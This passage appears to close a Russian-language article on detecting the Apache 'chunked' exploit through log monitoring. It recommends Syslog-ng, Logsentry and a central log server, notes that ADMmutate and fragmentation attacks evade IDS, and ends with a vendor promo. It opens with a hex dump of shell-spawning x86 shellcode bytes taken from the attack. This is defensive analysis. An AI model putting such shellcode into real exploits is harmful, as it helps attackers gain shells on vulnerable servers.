0x0430: 00 6A 00 68 2F 73 68 00 68 2F 62 69 6E 8D 4C 24 .j.h/sh.h/bin.L$
0x0440: 08 8D 54 24 0C 89 21 89 E3 31 C0 B0 0B CD 80 31 ..T$..!..1.....1
0x0450: C0 FE C0 CD 80 00 ......

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

Выводы

Администраторы системы должны контролировать системный файл регистрации так же основательно, как они контролируют IDS предупреждения. Помните, что системы обнаружения вторжения могут обнаружить только нападения, о которых они заранее знают (IDS сигнатуры) и что новые или неизвестные сигнатуры не будут обнаружены, если конечно IDS не способен определить конкретный тип нападения. Apache "Chunk" эксплоит, обсужденный в этой статье, является хорошим тому примером. Как только он всплыл, мы должны объединить наши собственные сигнатуры, пока Snort сигнатуры не стали доступны. Такое нападение мы способны обнаружить только потому,  что мы контролируем файл регистрации Apache.

Множество инструментов с открытым исходным кодом, которые делают уведомления и центральную регистрацию, в настоящее время доступны для конечных пользователей. Мы рекомендуем администраторам защиты заменить Syslog на Syslog-ng и установить регистрационный инструмент уведомления, типа Logsentry, чтобы получать по электронной почте информацию о критических событиях. Так же полезно установить безопасный центральный сервер регистрации для того, чтобы сохранить зарегистрированные события в другом месте. Это критично, когда система скомпрометирована, и регистрационной информации на сервере нельзя доверять.

 Истинная защита не достигается использованием дорогих систем межсетевой защиты, VPN, или систем обнаружения вторжения. Серьезную безопасность можно обеспечить,  контролируя журналы, и таким образом наблюдая за нападениями, которые системы обнаружения вторжения, возможно, пропустили. Поскольку решения защиты становятся все более совершенными, будут появляться средства и методы их обхода. Так, например, существует средство ADMmutate и методы уклонения IDS, типа нападений фрагментации. Если администратор системы контролирует только IDS регистрацию, то с помощью этих средств можно осуществить нападения, которые не  будут обнаружены.

P.S. Компания Positive Technologies поможет вашей компании развернуть подобную систему и, в случает возникновения инцидента, проведет детальный анализ вторжения и окажет необходимые консультации для предотвращения подобных нападений.

Красная или синяя таблетка?

В Матрице безопасности выбор очевиден

Выберите реальность — подпишитесь